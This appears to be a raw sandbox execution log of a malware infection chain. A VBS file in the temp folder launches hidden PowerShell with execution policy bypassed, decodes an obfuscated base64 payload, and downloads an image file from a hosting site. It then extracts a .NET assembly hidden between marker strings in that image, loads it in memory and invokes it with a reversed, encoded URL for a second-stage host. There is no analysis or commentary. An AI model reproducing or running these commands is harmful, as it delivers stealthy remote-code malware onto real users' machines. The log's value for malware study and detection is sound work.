wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\xlammexpoittt.vbs
840powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('kxtWMgO','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
2140powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/634/676/original/rumpe.jpg?1697053529';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LjQ2ZXNhYmVsaWZkZXRhZHB1ZGlvcmRkZW1tYWhvbS80NzEuNzMuNDUyLjU4MS8vOnB0dGg=' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
2236